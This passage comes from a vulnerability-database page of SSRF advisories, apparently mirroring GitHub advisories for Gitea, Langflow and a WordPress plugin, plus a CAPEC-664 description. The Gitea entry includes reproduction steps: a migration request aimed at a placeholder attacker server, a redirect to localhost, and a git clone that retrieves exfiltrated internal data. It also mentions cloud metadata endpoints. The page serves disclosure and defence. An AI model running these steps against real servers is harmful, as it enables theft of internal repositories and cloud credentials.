\"http://\u003cATTACKER_SERVER\u003e:18080/repo.git\",\n    \"repo_name\": \"exfil-test\",\n    \"service\": \"git\",\n    \"private\": true\n  }\u0027\n```\n\nResponse: **HTTP 201 Created**. The migration succeeds.\n\n### Step 6: Retrieve the exfiltrated data\n\nFrom the attacker machine:\n\n```bash\ngit clone http://attacker:password@\u003cGITEA_SERVER\u003e:3000/attacker/exfil-test.git\ncat exfil-test/secret.txt\n```\n\nOutput:\n\n```text\nCONFIDENTIAL_DATA_2025\n```\n\nThe attacker now has the contents of the internal repository that was only accessible on localhost.\n\n## What happens during the attack\n\n1. The attacker sends a migration request pointing to their public server.\n2. Gitea validates the URL. The destination is a public IP, so it passes the check.\n3. Gitea contacts the attacker\u0027s server to clone the repository.\n4. The attacker\u0027s server responds with `302 Location: http://127.0.0.1:18082/...`\n5. Gitea follows the redirect to `127.0.0.1` without validating the new destination.\n6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.\n7. The attacker clones their newly created repository and reads the internal data.\n\n## Impact\n\nAny authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:\n\n1. Internal Git repositories or other version control systems not exposed to the internet\n2. Cloud metadata endpoints (`169.254.169.254`) which serve temporary credentials on AWS, GCP, and Azure\n3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks\n4. Other services within the same network segment that trust connections from the Gitea server\n\nThe full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.\n\n## Suggested Fix\n\nValidate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.",
  "id": "GHSA-rqhx-647v-wx32",
  "modified": "2026-07-21T20:33:52Z",
  "published": "2026-07-21T20:33:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: SSRF via HTTP Redirect in Repository Migration"
}

GHSA-RQJV-PX3W-V3W6

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.9.6 contains a Server-Side Request Forgery (SSRF). The legacy RSSReaderComponent in rss.py and SearXNG component in searxng.py make unvalidated HTTP requests to user-controlled URLs, bypassing SSRF protections introduced in version 1.9.3. An authenticated attacker can exploit this to access internal resources including cloud metadata services (AWS/Azure/GCP IMDS), potentially exfiltrating IAM credentials and enumerating internal networks. The vulnerability can also be triggered through prompt injection in agentic workflows due to tool_mode=True exposure.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:27Z",
    "severity": "HIGH"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.9.6 contains a Server-Side Request Forgery (SSRF). The legacy RSSReaderComponent in rss.py and SearXNG component in searxng.py make unvalidated HTTP requests to user-controlled URLs, bypassing SSRF protections introduced in version 1.9.3. An authenticated attacker can exploit this to access internal resources including cloud metadata services (AWS/Azure/GCP IMDS), potentially exfiltrating IAM credentials and enumerating internal networks. The vulnerability can also be triggered through prompt injection in agentic workflows due to tool_mode=True exposure.",
  "id": "GHSA-rqjv-px3w-v3w6",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10564"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQM6-JMG2-PGR4

Vulnerability from github – Published: 2025-11-06 06:31 – Updated: 2025-11-06 06:31
VLAI
Details

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 8.6.0 via the getFullContent() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-12560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-06T06:15:44Z",
    "severity": "MODERATE"
  },
  "details": "The Blog2Social: Social Media Auto Post \u0026 Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 8.6.0 via the getFullContent() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-rqm6-jmg2-pgr4",
  "modified": "2025-11-06T06:31:00Z",
  "published": "2025-11-06T06:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12560"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3389636/blog2social"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2ea06520-d7a9-49bb-812e-2fa2e50d0ec2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list